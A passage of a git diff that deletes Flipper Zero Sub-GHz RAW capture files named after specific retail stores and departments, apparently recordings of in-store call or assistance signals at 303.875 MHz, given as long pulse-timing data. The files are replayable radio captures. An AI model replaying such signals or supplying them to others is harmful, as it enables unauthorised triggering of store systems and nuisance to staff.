-66 1745 -66 136319 -66 97781 -230 295 -98 719 -164 129 -174 78483 -66 747 -726 99 -784 131 -202 95 -160 65 -98 65 -100 329 -164 261 -96 497 -100 371 -66 829 -100 985 -132 395 -134 97 -64 3789 -100 913 -98 603 -98 65 -200 2585 -66 365 -98 3089 -66 100975 -68 1937 -232 65 -102 1277 -234 1123 -104 4489 -100 169501 -134 97371 -66 193 -162 851 -132 713 -64 193 -66 1269 -64 4941 -166 65 -166 705 -98 133 -236 397 -132 197 -100 401 -134 97 -164 277725 diff --git a/assets/resources/subghz/Stores/Lowes/Wirecutting.sub b/assets/resources/subghz/Stores/Lowes/Wirecutting.sub deleted file mode 100644 index 67b863e46..000000000 --- a/assets/resources/subghz/Stores/Lowes/Wirecutting.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 363 -103368 99 -66 67 -198 131 -64 129 -230 167 -200 263 -102 133 -562 603 -96986 101 -236 133 -100 99 -268 131 -330 99 -300 99 -298 99 -200 333 -168 167 -18274 301 -166 167 -134 167 -268 65 -75970 65 -200 163 -66 65 -196 263 -264 99 -336 65 -266 165 -266 131 -236 135 -96968 231 -196 165 -202 563 -166 133 -200 269 -134 167 -266 165 -97100 129 -262 263 -196 99 -260 129 -66 97 -198 65 -228 97 -196 295 -230 129 -51262 601 -200 65 -234 135 -268 133 -264 99 -368 65 -302 167 -42778 165 -202 335 -198 133 -236 133 -168 169 -272 165 -168 625 -96984 291 -434 497 -230 231 -232 99 -97176 261 -194 161 -164 625 -230 65 -164 257 -196 97 -262 131 -84532 131 -226 95 -98 65 -332 97 -230 65 -196 65 -428 97 -132 131 -168 67 -270 67 -9376 529 -230 129 -520 131 -330 67 -166 133 -166 229 -97100 131 -270 133 -530 327 -66 97 -166 129 -198 65 -97224 99 -228 129 -294 97 -134 67 -168 165 -306 65 -236 299 -102 265 -97264 167 -200 199 -168 203 -238 65 -266 197 -168 301 -100 129 -366 65 -17560 99 -164 291 -166 131 -568 165 -200 99 -68 99 -234 65 -166 101 -168 165 -76538 65 -700 131 -132 591 -296 97 -97634 131 -66 65 -236 99 -300 199 -164 301 -198 135 -168 99 -334 97 -266 135 -96998 165 -236 299 -168 165 -170 165 -266 65 -266 297 -198 133 -200 133 -50496 329 -300 97 -1066 67 -232 135 -304 65 -43894 167 -366 97 -260 97 -264 159 -230 197 -198 129 -296 99 -97094 357 -364 65 -326 65 -326 327 -132 163 -97122 131 -66 133 -326 65 -264 593 -198 199 -134 299 -83502 557 -200 133 -164 919 -164 195 -228 129 -10882 599 -168 131 -398 199 -204 101 -268 327 -164 161 -97112 327 -66 63 -192 65 -162 197 -230 129 -134 97 -166 163 -266 163 -194 231 -198 97 -96812 129 -918 131 -262 459 -332 99 -232 233 -97236 589 -66 65 -166 133 -170 199 -168 301 -200 131 -196 161 -16874 133 -300 65 -700 99 -234 165 -200 525 -164 163 -77794 99 -164 229 -232 97 -358 65 -200 127 -296 65 -296 327 -166 99 -96954 135 -266 295 -166 163 -240 133 -234 133 -268 101 -232 237 -200 131 -97072 133 -100 133 -304 99 -304 101 -66 99 -234 167 -232 129 -196 359 -49548 135 -234 529 -164 165 -338 65 -168 65 -204 237 -202 197 -43548 1057 -10716 1011 -4890 1001 -2002 993 -4920 1007 -7834 975 -2004 993 -4914 1005 -7798 1003 -2004 991 -7824 1005 -4916 973 -2040 989 -4916 977 -4920 1009 -7798 997 -2006 1009 -4890 1023 -4882 1005 -4900 1011 -4900 989 -7826 987 -10746 987 -4916 -RAW_Data: 1009 -2004 977 -4922 983 -7832 1013 -2002 975 -4926 983 -7836 1013 -2002 981 -7834 1013 -4924 981 -2004 1007 -4896 1013 -4900 1025 -7824 987 -2024 1003 -4920 993 -4914 985 -4932 975 -4930 1009 -7826 987 -10742 977 -4914 1011 -2006 1001 -4926 979 -7828 985 -2014 979 -4950 979 -7828 1009 -1986 1015 -7822 989 -4942 973 -2026 979 -4902 1021 -4880 1005 -7818 1011 -1992 989 -4916 1007 -4904 1013 -4892 1009 -4882 1013 -7802 1021 -10702 983 -4938 985 -2000 1005 -4894 1011 -7802 1011 -2004 973 -4922 1015 -7804 1013 -2002 981 -7826 1013 -4914 985 -2034 971 -4940 973 -4924 1019 -7822 985 -2026 977 -4920 987 -4938 989 -4936 977 -4926 981 -7822 1007 -10728 1013 -4890 1013 -2000 985 -4926 987 -7830 973 -2024 983 -4926 1001 -7822 981 -2002 1009 -7816 1013 -4922 985 -2032 973 -4942 975 -4922 987 -7822 1021 -1986 1015 -4892 1011 -4912 987 -4918 985 -4910 1009 -7826 983 -10702 1023 -4880 1007 -2010 973 -4912 993 -7832 1009 -1974 991 -4912 1007 -7818 981 -2010 1009 -7826 987 -4928 1011 -1992 1021 -4904 997 -4920 1009 -7836 977 -2038 983 -4912 1007 -4918 1005 -4910 985 -4936 979 -7826 1021 -10724 1013 -4890 1009 -2004 1007 -4898 1011 -7802 1013 -2000 1011 -4902 1015 -7814 1019 -1966 1021 -7814 1009 -4924 983 -2034 971 -4946 1009 -4900 1001 -7820 1021 -1998 1011 -4894 1023 -4912 1001 -4908 975 -4902 1025 -7826 1003 -10686 1031 -4890 987 -2000 1009 -4894 1009 -7802 1013 -2002 975 -4930 985 -7802 1005 -2004 1015 -7800 989 -4910 1009 -2022 991 -4912 997 -4916 1009 -7834 979 -2032 997 -4912 985 -4918 1021 -4896 1013 -4908 987 -7854 987 -10728 1011 -4922 981 -2000 1007 -4900 1009 -7830 983 -1998 1031 -4890 1007 -7836 979 -2002 997 -7840 1009 -4916 1009 -1986 1011 -4922 985 -4912 1007 -7820 1011 -2028 991 -4910 997 -4910 1005 -4912 1011 -4914 981 -7832 1011 -10706 1013 -4888 1021 -1980 1007 -4914 973 -7834 985 -2030 975 -4888 1013 -7824 985 -2014 985 -7824 1011 -4914 975 -2008 1001 -4922 985 -4914 1009 -7814 985 -2008 1013 -4910 1005 -4906 1013 -4920 979 -4916 1009 -7812 1011 -10748 985 -4910 1005 -2026 977 -4922 981 -7830 987 -2018 1013 -4890 1007 -7822 1007 -2018 967 -7836 1003 -4916 1015 -1996 1005 -4920 1009 -4918 985 -7828 1011 -2004 1007 -4900 1009 -4922 985 -4912 1007 -4932 1001 -7806 993 -10740 1019 -4898 1013 -1982 1011 -4918 979 -7800 1023 -2006 975 -4924 973 -7832 971 -2026 975 -7834 985 -4912 1007 -2020 977 -4896 1029 -4880 1017 -7818 983 -2030 983 -4914 1009 -4898 981 -4916 1011 -4918 977 -7828 1013 -10752 1003 -4910 991 -2034 975 -4918 1009 -7832 985 -2010 977 -4920 1009 -7834 985 -2010 1009 -7818 987 -4924 1013 -2008 979 -4940 1003 -4914 973 -7850 997 -2000 999 -4922 1007 -4910 1005 -4930 973 -4926 987 -7856 987 -10736 1005 -4894 1005 -2006 995 -4906 1007 -7828 1009 -2010 -RAW_Data: 989 -4914 973 -7828 979 -2006 993 -7830 1007 -4926 971 -2004 993 -4914 1007 -4924 971 -7832 985 -2030 977 -4916 985 -4912 1009 -4906 1015 -4892 1007 -7824 977 -10736 981 -4944 977 -1994 999 -4920 1007 -7836 977 -2006 993 -4920 1007 -7834 977 -2002 993 -7864 975 -4916 1013 -2006 983 -4952 981 -4910 1009 -7848 975 -2014 989 -4948 973 -4932 1001 -4892 1005 -4912 1025 -7830 977 -10740 1017 -4920 989 -2006 975 -4918 1011 -7834 989 -1996 1013 -4914 977 -7844 983 -2028 981 -7846 995 -4910 977 -2038 979 -4896 1025 -4910 1007 -7798 1015 -2008 989 -4914 971 -4920 1015 -4882 997 -4908 1011 -7820 1009 -10712 985 -4908 1011 -2004 975 -4920 985 -7836 1009 -2004 977 -4922 985 -7836 1011 -2004 981 -7830 1011 -4906 1003 -2002 993 -4918 1007 -4922 1011 -7836 985 -1998 1011 -4904 1029 -4914 977 -4916 1011 -4926 989 -7834 1007 -10716 1011 -4922 987 -2008 973 -4918 1013 -7804 1019 -2002 1013 -4886 1021 -7820 985 -2026 975 -7838 989 -4948 971 -2028 975 -4924 991 -4944 999 -7830 975 -2006 989 -4942 973 -4908 1011 -4892 1013 -4912 985 -7842 987 -10710 1009 -4892 999 -2004 997 -4910 975 -7838 983 -2002 1007 -4896 983 -7828 1013 -2004 983 -7838 1013 -4900 1001 -2000 993 -4920 1007 -4920 1013 -7834 987 -2006 1011 -4916 977 -4924 1017 -4912 985 -4910 1007 -7822 1011 -10740 999 -4910 997 -2010 1009 -4918 977 -7838 983 -2032 983 -4914 1011 -7802 1011 -2014 981 -7828 1019 -4898 1015 -2014 977 -4914 1009 -4906 1007 -7832 987 -2032 999 -4918 1007 -4886 1003 -4916 995 -4920 973 -7832 1005 -10732 969 -4914 1013 -1978 1015 -4884 1017 -7802 991 -2006 1007 -4914 979 -7832 983 -1992 999 -7838 997 -4912 1001 -2002 1009 -4916 991 -4916 999 -7824 1009 -2008 995 -4910 993 -4922 1005 -4922 1007 -4916 1001 -7824 985 -173058 65 -132 99 -166 167 -266 63 -132 97 -166 201 -168 167 -68 133 -300 331 -45308 333 -100 131 -564 297 -168 431 -198 169 -236 133 -48820 99 -270 101 -302 133 -462 65 -428 99 -198 129 -232 129 -97044 559 -196 129 -198 131 -260 261 -162 455 -228 163 -97128 537 -200 265 -100 131 -532 231 -230 131 -234 67 -78622 133 -268 167 -66 99 -500 361 -162 195 -162 259 -15646 555 -328 293 -132 163 -228 95 -264 129 -264 99 -97218 161 -292 227 -166 165 -204 237 -434 99 -266 603 -97108 267 -166 131 -600 99 -234 299 -234 99 -134 269 -168 267 -97106 133 -302 65 -598 131 -300 67 -266 561 -200 167 -11630 557 -196 99 -236 561 -194 97 -262 97 -260 195 -82784 331 -166 131 -200 131 -600 563 -332 165 -97280 335 -132 165 -234 133 -202 133 -296 99 -266 101 -296 129 -360 65 -97000 229 -198 163 -196 689 -132 65 -166 235 -166 293 -198 97 -44574 331 -134 131 -266 -RAW_Data: 135 -434 65 -302 293 -262 131 -264 131 -260 99 -500 99 -336 133 -266 97 -402 133 -704 99 -41108 301 -166 229 -166 165 -266 65 -536 99 -334 231 -166 233 -97320 295 -392 97 -164 129 -194 127 -230 97 -166 65 -164 291 -77382 299 -504 99 -100 165 -434 165 -266 197 -16738 165 -636 99 -234 99 -698 99 -534 131 -97300 333 -430 97 -264 97 -392 97 -196 293 -230 63 -294 97 -97106 131 -298 65 -300 101 -568 99 -198 67 -198 131 -234 133 -268 99 -97214 131 -164 131 -66 95 -230 65 -950 131 -228 161 -10470 99 -296 295 -230 97 -198 99 -304 101 -502 365 -196 65 -83734 131 -232 99 -296 263 -166 265 -234 99 -298 67 -232 133 -66 65 -234 99 -97032 295 -234 67 -234 231 -730 133 -404 65 -143692 299 -196 97 -264 133 -234 131 -196 95 -160 63 -228 129 -228 97 -66 131 -42744 131 -326 131 -528 65 -328 97 -300 559 -232 129 -97158 131 -302 99 -596 133 -234 99 -434 99 -164 97 -196 99 diff --git a/assets/resources/subghz/Stores/Walgreens/Walgreens_Cough.sub b/assets/resources/subghz/Stores/Walgreens/Walgreens_Cough.sub deleted file mode 100644 index bd8af40ac..000000000 --- a/assets/resources/subghz/Stores/Walgreens/Walgreens_Cough.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: RAW -RAW_Data: 1013 -1982 1011 245 711 -16388 65 -6832 63 -98 3155 -100 199 -130 991595 -10742 971 -4942 979 -4900 991 -2034 971 -4946 977 -4920 985 -7860 975 -4902 1009 -1992 1017 -4906 1003 -4878 1011 -7840 983 -2000 1009 -7810 997 -2020 995 -7820 999 -2004 1011 -4892 1019 -4870 1025 -4902 1015 -7814 1009 -10710 1009 -4872 1025 -4912 1009 -1968 1019 -4888 1029 -4904 1019 -7794 1007 -4902 1037 -1982 999 -4912 987 -4938 977 -7842 1021 -1964 1035 -7828 1013 -1982 1021 -7818 997 -2002 1009 -4912 1009 -4890 1015 -4882 1011 -7828 1009 -10728 1011 -4892 1009 -4906 1021 -1982 1015 -4898 1005 -4882 1019 -7816 1011 -4906 997 -1996 997 -4922 1009 -4896 1023 -7788 1013 -1990 1031 -7768 1017 -2000 1011 -7816 1017 -1970 1009 -4882 1013 -4922 983 -4914 1007 -7796 1011 -10710 989 -4942 1009 -4864 1025 -1962 1029 -4880 1039 -4882 1013 -7798 1023 -4894 1007 -1976 1043 -4880 1023 -4896 1037 -7794 1019 -2002 1025 -7802 1021 -1972 1023 -7808 1041 -1970 1017 -4892 1023 -4920 1007 -4908 1015 -7808 1011 -10710 1011 -4912 999 -4910 1033 -1938 1049 -4876 1027 -4892 1005 -7808 1045 -4848 1033 -1970 1025 -4894 1045 -4896 1013 -7808 1043 -1968 1011 -7820 1013 -1988 1039 -7762 1057 -1942 1051 -4868 1041 -4846 1051 -4878 1029 -7776 1045 -10670 1029 -4868 1053 -4850 1039 -1938 1055 -4846 1073 -4834 1049 -7780 1035 -4872 1027 -1946 1049 -4900 1037 -4848 1075 -7788 1047 -1960 1025 -7794 1033 -1986 1047 -7810 1027 -1958 1051 -4872 1047 -4868 1067 -4858 1045 -7786 1045 -10706 1039 -4848 1053 -4866 1041 -1970 1045 -4844 1049 -4866 1073 -7754 1067 -4854 1047 -1968 1037 -4882 1043 -4842 1083 -7754 1049 -1964 1065 -7786 1035 -1972 1047 -7798 1051 -1950 1031 -4868 1069 -4838 1053 -4866 1039 -7764 1049 -10668 1067 -4858 1051 -4832 1037 -1968 1053 -4842 1059 -4830 1081 -7742 1065 -4846 1039 -1932 1051 -4870 1039 -4880 1047 -7764 1053 -1954 1037 -7788 1043 -1986 1047 -7784 1037 -1960 1053 -4860 1039 -4882 1043 -4854 1049 -7782 1065 -10684 1037 -4858 1051 -4878 1039 -1968 1041 -4848 1053 -4872 1035 -7790 1039 -4846 1085 -1924 1045 -4868 1063 -4862 1045 -7794 1049 -1962 1059 -7780 1033 -1962 1069 -7774 1049 -1958 1065 -4846 1067 -4846 1065 -4856 1051 -7790 1027 -10678 1043 -4866 1027 -4870 1039 -1936 1051 -4846 1071 -4844 1043 -7778 1043 -4842 1051 -1960 1043 -4856 1051 -4872 1029 -7772 1081 -1918 1077 -7740 1047 -1962 1071 -7762 1043 -1946 1081 -4860 1051 -4872 1043 -4840 1083 -7778 1037 -10690 1067 -4832 1051 -4870 1041 -1970 1047 -4850 1085 -4840 1043 -7792 1039 -4842 1085 -1920 1075 -4848 1043 -4860 1053 -7778 1071 -1936 1077 -7744 1077 -1950 1049 -7782 1053 -1954 1065 -4840 1049 -4888 1051 -4846 1069 -7772 1045 -10686 1079 -4840 1071 -4824 1051 -1968 1041 -4842 1073 -4840 1055 -7762 1041 -4844 1051 -1960 1055 -4844 1061 -4862 1039 -7764 1053 -1936 1071 -7760 1043 -1946 1049 -7774 1067 -1932 1077 -4826 -RAW_Data: 1049 -4872 1041 -4884 1047 -7762 1053 -10698 1033 -4872 1057 -4828 1079 -1944 1051 -4846 1037 -4858 1049 -7788 1037 -4878 1049 -1938 1051 -4862 1071 -4846 1045 -7778 1049 -1958 1063 -7784 1041 -1976 1045 -7786 1023 -1964 1071 -4860 1021 -4886 1047 -4858 1055 -7778 1041 -10674 1081 -4846 1055 -4844 1073 -1930 1057 -4840 1051 -4868 1073 -7764 1047 -4846 1029 -1948 1077 -4850 1051 -4838 1065 -7736 1085 -1922 1069 -7760 1043 -1946 1051 -7768 1071 -1932 1041 -4856 1051 -4868 1043 -4850 1049 -7792 1031 -10690 1033 -4876 1055 -4846 1053 -1938 1073 -4848 1043 -4860 1055 -7796 1039 -4874 1029 -1948 1051 -4874 1073 -4850 1045 -7808 1049 -1960 1037 -7788 1037 -1980 1049 -7786 1039 -1966 1035 -4892 1049 -4840 1069 -4850 1075 -7766 1043 -10706 1039 -4848 1073 -4834 1085 -1922 1069 -4846 1043 -4888 1027 -7774 1081 -4844 1037 -1978 1049 -4838 1073 -4876 1041 -7760 1051 -1966 1035 -7774 1049 -1970 1037 -7760 1077 -1924 1083 -4830 1073 -4840 1057 -4848 1053 -7760 1069 -10662 1043 -4858 1057 -4848 1031 -1950 1043 -4854 1047 -4878 1047 -7790 1041 -4850 1051 -1954 1073 -4878 1041 -4888 1049 -7748 1055 -1960 1071 -7788 1047 -1958 1039 -7790 1031 -1952 1049 -4878 1043 -4880 1031 -4900 1015 -7810 1041 -10674 1075 -4838 1047 -4866 1067 -1936 1043 -4862 1053 -4864 1067 -7774 1051 -4876 1035 -1964 1031 -4898 1015 -4872 1071 -7794 1041 -1960 1049 -7786 1041 -1966 1041 -7758 1049 -1958 1073 -4850 1047 -4852 1051 -4858 1033 -7792 1047 -10670 1053 -4860 1023 -4876 1027 -1950 1047 -4872 1041 -4850 1051 -7786 1031 -4858 1045 -1954 1065 -4868 1025 -4884 1039 -7790 1045 -1988 1051 -7768 1039 -1954 1051 -7788 1049 -1964 1067 -4862 1047 -4870 1039 -4866 1053 -7790 1049 -10700 1037 -4858 1085 -4836 1071 -1932 1047 -4856 1055 -4852 1071 -7758 1047 -4850 1051 -1966 1037 -4868 1069 -4862 1047 -7784 1041 -1966 1039 -7792 1047 -1958 1039 -7794 1041 -1966 1045 -4834 1049 -4862 1051 -4864 1041 -7768 1049 -10656 1069 -4836 1051 -4862 1035 -1934 1049 -4870 1023 -4880 1041 -7764 1053 -4842 1041 -1932 1049 -4872 1037 -4850 1047 -7792 1055 -1954 1039 -7796 1045 -1938 1049 -7792 1041 -1966 1035 -4890 1047 -4866 1039 -4848 1061 -7768 1049 -258910 67 -596 265 -134 101 -2026 65 -132 97 -498 97 -396 97 -132 165 -100 131 -664 65 -132 2045 -400 67 -166 65 -134 133 -64 1079 -166 531 -132 2173 \ No newline at end of file diff --git a/assets/resources/subghz/Stores/Walgreens/Walgreens_Skincare.sub b/assets/resources/subghz/Stores/Walgreens/Walgreens_Skincare.sub deleted file mode 100644 index f8a93b30c..000000000 --- a/assets/resources/subghz/Stores/Walgreens/Walgreens_Skincare.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: RAW -RAW_Data: 741 -17114 829 -68 1063 -132 431 -990 395 -598 395 -98 1417 -132 989 -68 295 -66 259 -66 329 -128 261 -132 265 -818 263 -130 393 -724 297 -132 229 -130 97 -98 295 -164 363 -200 263 -366 363 -132 959 -98 561 -100 355489 -10690 1053 -4850 1063 -4870 1041 -1964 1049 -4834 1071 -4848 1047 -7796 1067 -4850 1053 -1928 1067 -7774 1041 -1948 1051 -4840 1069 -4858 1045 -7756 1049 -4878 1043 -4832 1055 -1952 1071 -4832 1049 -4868 1037 -4878 1047 -7758 1059 -10660 1047 -4870 1037 -4850 1049 -1968 1047 -4872 1039 -4848 1049 -7792 1043 -4868 1053 -1938 1067 -7760 1043 -1982 1027 -4876 1043 -4868 1049 -7778 1049 -4870 1069 -4856 1063 -1946 1051 -4870 1031 -4888 1043 -4856 1049 -7786 1055 -10694 1039 -4842 1075 -4874 1045 -1970 1033 -4874 1037 -4848 1085 -7754 1041 -4870 1069 -1920 1049 -7788 1073 -1932 1043 -4858 1051 -4888 1017 -7790 1027 -4860 1045 -4862 1071 -1928 1049 -4870 1041 -4874 1043 -4842 1047 -7784 1041 -10666 1047 -4876 1053 -4850 1037 -1970 1019 -4876 1055 -4862 1037 -7796 1047 -4844 1051 -1954 1037 -7796 1055 -1936 1053 -4880 1041 -4878 1039 -7800 1049 -4840 1073 -4844 1075 -1958 1047 -4866 1023 -4870 1049 -4872 1045 -7808 1039 -10670 1049 -4876 1041 -4878 1029 -1950 1049 -4864 1071 -4850 1045 -7770 1049 -4868 1039 -1970 1047 -7792 1051 -1954 1039 -4880 1043 -4876 1047 -7776 1025 -4870 1037 -4858 1049 -1956 1071 -4846 1047 -4846 1049 -4858 1047 -7782 1055 -10644 1079 -4816 1079 -4844 1041 -1934 1051 -4868 1039 -4846 1049 -7774 1055 -4854 1041 -1940 1049 -7792 1057 -1952 1039 -4882 1057 -4846 1051 -7782 1073 -4848 1047 -4896 1045 -1960 1047 -4872 1033 -4894 1045 -4874 1039 -7794 1025 -10692 1051 -4866 1039 -4848 1049 -1968 1053 -4874 1035 -4876 1045 -7772 1047 -4842 1071 -1934 1045 -7802 1047 -1958 1031 -4876 1049 -4880 1045 -7786 1039 -4856 1075 -4868 1049 -1930 1063 -4860 1045 -4864 1029 -4876 1037 -7754 1059 -10690 1023 -4874 1027 -4850 1045 -1962 1043 -4844 1075 -4826 1051 -7782 1039 -4852 1053 -1928 1071 -7748 1049 -1958 1039 -4884 1049 -4846 1047 -7794 1043 -4878 1039 -4878 1045 -1960 1039 -4880 1041 -4872 1063 -4860 1047 -7790 1033 -10682 1043 -4876 1041 -4874 1043 -1962 1049 -4832 1049 -4862 1049 -7796 1035 -4872 1041 -1968 1049 -7752 1051 -1966 1037 -4892 1049 -4872 1041 -7796 1039 -4862 1031 -4890 1047 -1960 1037 -4880 1047 -4872 1039 -4874 1027 -7812 1013 -10674 1069 -4844 1023 -4880 1035 -1970 1009 -4872 1035 -4880 1015 -7796 1027 -4856 1043 -1958 1047 -7788 1013 -1984 1029 -4888 1003 -4904 1033 -7766 1043 -4860 1027 -4906 1031 -1960 1041 -4866 1047 -4878 1043 -4878 1013 -7822 1021 -10700 1041 -4884 1011 -4878 1049 -1964 1041 -4874 1047 -4866 1035 -7766 1053 -4874 1039 -1962 1043 -7772 1043 -1990 1021 -4874 1031 -4904 1011 -7818 1039 -4876 1043 -4874 1009 -2000 1023 -4874 1037 -4878 1043 -4868 1049 -7790 1029 -10724 -RAW_Data: 1011 -4902 1015 -4906 1027 -1976 1041 -4852 1047 -4844 1037 -7798 1011 -4878 1041 -1966 1009 -7812 1013 -1988 1003 -4906 1025 -4850 1051 -7776 1039 -4872 1047 -4858 1031 -1972 1043 -4864 1043 -4868 1023 -4894 1033 -7806 1009 -10746 1039 -4880 1015 -4904 1027 -1952 1045 -4878 1011 -4904 1009 -7796 1049 -4876 1013 -1994 1013 -7816 1025 -1962 1037 -4886 1039 -4898 1021 -7788 1039 -4884 1041 -4890 1009 -1994 1029 -4892 1039 -4858 1049 -4878 1023 -7804 1041 -10696 1045 -4878 1029 -4860 1029 -1996 1031 -4860 1041 -4890 1001 -7824 1001 -4882 1041 -1952 1043 -7774 1023 -1972 1031 -4904 1011 -4888 1031 -7776 1045 -4880 1011 -4866 1049 -1966 1041 -4876 1011 -4896 1011 -4872 1047 -7788 1009 -10694 1049 -4882 1007 -4882 1021 -1974 1051 -4876 1003 -4916 1013 -7810 1011 -4894 1009 -2000 1013 -7792 1033 -1980 1045 -4880 1023 -4884 1037 -7820 1011 -4890 1011 -4898 1041 -1964 1027 -4906 1009 -4890 1041 -4876 1021 -7836 1007 -10706 1021 -4880 1021 -4892 1041 -1972 1019 -4884 1025 -4894 1005 -7836 1013 -4880 1027 -1974 1037 -7794 1015 -2006 1015 -4876 1009 -4902 1027 -7778 1019 -4892 1037 -4878 1011 -2004 1019 -4858 1037 -4878 1013 -4908 993 -7804 1025 -10698 1013 -4906 985 -4894 1037 -1976 1011 -4874 1023 -4898 1007 -7834 1011 -4880 1029 -1980 1005 -7824 1011 -2004 1013 -4898 1009 -4916 1023 -7808 1015 -4880 1015 -4914 1025 -1982 1011 -4884 1049 -4880 1011 -4904 1031 -7814 1001 -10728 1027 -4880 1007 -4906 1015 -1988 1013 -4878 1049 -4878 1013 -7812 1015 -4894 1011 -2004 1013 -7812 1015 -2000 1017 -4872 1039 -4882 1011 -7838 985 -4916 1009 -4886 1001 -1990 1025 -4908 999 -4906 997 -4894 1015 -7824 987 -10718 1003 -4888 1007 -4916 987 -1988 999 -4894 1005 -4904 995 -7810 1007 -4902 1013 -1984 1015 -7808 1009 -2002 1011 -4900 1011 -4918 1017 -7812 997 -4920 1005 -4890 1041 -1970 1023 -4918 1007 -4908 989 -4924 985 -7834 1011 -10712 1011 -4924 1017 -4894 1009 -2000 979 -4924 1013 -4912 1017 -7792 1007 -4906 1011 -2012 979 -7842 995 -2012 1007 -4918 979 -4918 1009 -7838 985 -4910 1005 -4938 997 -1988 1013 -4918 987 -4920 1007 -4880 1015 -7832 987 -10718 1005 -4890 1015 -4864 1053 -1970 1009 -4894 1013 -4912 979 -7834 983 -4892 1003 -2004 1011 -7796 1025 -2008 1003 -4904 1011 -4898 1015 -7806 1015 -4910 1009 -4906 1013 -2014 981 -4938 995 -4916 1003 -4902 1009 -7814 1013 -196886 2885 -132 233 -100 3513 -66 297 -232 295 -330 363 -132 331 -166 329 -132 97 -66 265 -66 665 -100 299 -166 231 -166 297 diff --git a/assets/resources/subghz/Stores/Walgreens/Walgreens_Vitamin.sub b/assets/resources/subghz/Stores/Walgreens/Walgreens_Vitamin.sub deleted file mode 100644 index 929ea27ce..000000000 --- a/assets/resources/subghz/Stores/Walgreens/Walgreens_Vitamin.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok270Async -Protocol: RAW -RAW_Data: 741 -16932 99 -396 2011 -66 391 -166 97 -4912 363 -924 529 -166 65 -166 65 -132 97 -696 6215 -132 469245 -10672 975 -4880 1009 -4888 997 -1984 1009 -4856 1005 -4876 1007 -7780 997 -4884 985 -1976 1001 -7772 1023 -4848 1015 -1966 1023 -4852 1009 -7768 1001 -4860 1031 -4846 1015 -1976 1023 -4846 1039 -4852 1007 -4876 1009 -7760 1021 -10610 1047 -4836 1043 -4836 1037 -1970 1015 -4838 1035 -4856 1023 -7766 1013 -4866 1039 -1944 1017 -7760 1045 -4850 1029 -1946 1043 -4840 1033 -7778 1013 -4872 1035 -4844 1031 -1944 1035 -4864 1047 -4846 1011 -4860 1021 -7770 1023 -10632 1037 -4862 1027 -4856 1013 -1968 1039 -4842 1015 -4846 1033 -7752 1037 -4852 1025 -1948 1043 -7754 1039 -4848 1013 -1958 1035 -4858 1027 -7734 1053 -4830 1045 -4830 1037 -1936 1055 -4814 1033 -4842 1035 -4854 1023 -7736 1051 -10610 1049 -4822 1029 -4834 1045 -1940 1019 -4848 1033 -4836 1051 -7750 1027 -4826 1035 -1978 1015 -7744 1043 -4836 1039 -1968 1017 -4850 1031 -7752 1031 -4862 1021 -4876 1039 -1938 1047 -4842 1029 -4864 1031 -4856 1027 -7746 1043 -10640 1011 -4874 1009 -4856 1019 -1964 1037 -4830 1047 -4850 1029 -7736 1053 -4834 1047 -1928 1041 -7754 1015 -4880 1035 -1946 1047 -4842 1041 -7742 1021 -4846 1037 -4844 1021 -1974 1031 -4830 1049 -4836 1027 -4828 1035 -7766 999 -10626 1045 -4828 1037 -4852 1029 -1946 1009 -4840 1041 -4832 1041 -7732 1027 -4840 1047 -1938 1021 -7776 1009 -4850 1031 -1956 1041 -4864 1025 -7770 1011 -4872 1003 -4860 1033 -1964 1037 -4848 1023 -4850 1031 -4860 1029 -7772 1009 -10644 1023 -4854 1043 -4830 1035 -1962 1023 -4852 1039 -4850 1023 -7774 1011 -4846 1035 -1964 1013 -7760 1041 -4836 1051 -1954 1039 -4854 1011 -7752 1043 -4852 1025 -4876 1005 -1966 1045 -4850 1031 -4846 1025 -4842 1039 -7750 1013 -10652 1015 -4840 1037 -4852 1001 -1974 1011 -4834 1043 -4830 1039 -7732 1033 -4840 1023 -1966 1025 -7744 1043 -4836 1007 -1978 1009 -4870 1009 -7788 1029 -4830 1049 -4848 1037 -1972 1015 -4844 1027 -4860 1025 -4876 1007 -7762 1045 -10642 1013 -4848 1027 -4860 1023 -1956 1039 -4850 1009 -4880 1011 -7744 1035 -4850 1023 -1982 1031 -7734 1031 -4878 1011 -1980 1013 -4850 1037 -7764 1009 -4872 1007 -4874 1025 -1968 1009 -4874 1015 -4886 999 -4884 1013 -7778 1003 -10640 1031 -4838 1021 -4852 1041 -1956 1031 -4830 1039 -4822 1027 -7750 1017 -4846 1027 -1946 1017 -7760 1043 -4826 1039 -1968 1013 -4870 995 -7776 1011 -4848 1037 -4846 1007 -1996 1001 -4884 1015 -4868 1009 -4862 1005 -7782 1013 -10664 1025 -4860 1009 -4858 1027 -1960 1025 -4856 1009 -4866 1041 -7762 1001 -4868 1011 -1988 1015 -7762 1003 -4880 1007 -1996 997 -4888 1011 -7778 1007 -4864 1027 -4872 1013 -1984 1015 -4838 1035 -4878 1017 -4874 1001 -7762 1021 -10652 1017 -4886 1007 -4852 1029 -1966 1011 -4854 1027 -4854 1007 -7768 1019 -4836 1023 -1966 1027 -7754 999 -4856 1021 -1970 1033 -4846 1011 -7754 -RAW_Data: 1023 -4854 1039 -4864 995 -1984 1003 -4866 1027 -4856 1013 -4848 1039 -7764 999 -10656 1015 -4886 997 -4874 1031 -1948 1011 -4876 1015 -4886 1001 -7762 1027 -4854 1007 -1986 1011 -7788 1011 -4848 1037 -1960 1031 -4866 1009 -7792 1015 -4848 1039 -4844 1025 -1978 1003 -4892 1001 -4874 1009 -4868 1017 -7794 999 -10672 1017 -4870 989 -4886 991 -1972 1035 -4852 1007 -4876 1009 -7770 1027 -4854 1009 -1988 1007 -7762 1001 -4876 1011 -1984 985 -4864 1041 -7744 1009 -4878 1015 -4844 1007 -1996 1013 -4854 1033 -4848 1005 -4872 1011 -7744 1009 -10664 1011 -4864 991 -4866 1021 -1974 1003 -4860 1027 -4874 1011 -7768 1025 -4840 1021 -1984 1009 -7776 1021 -4876 1011 -1982 1015 -4862 1007 -7774 1025 -4874 1011 -4862 1027 -1976 1009 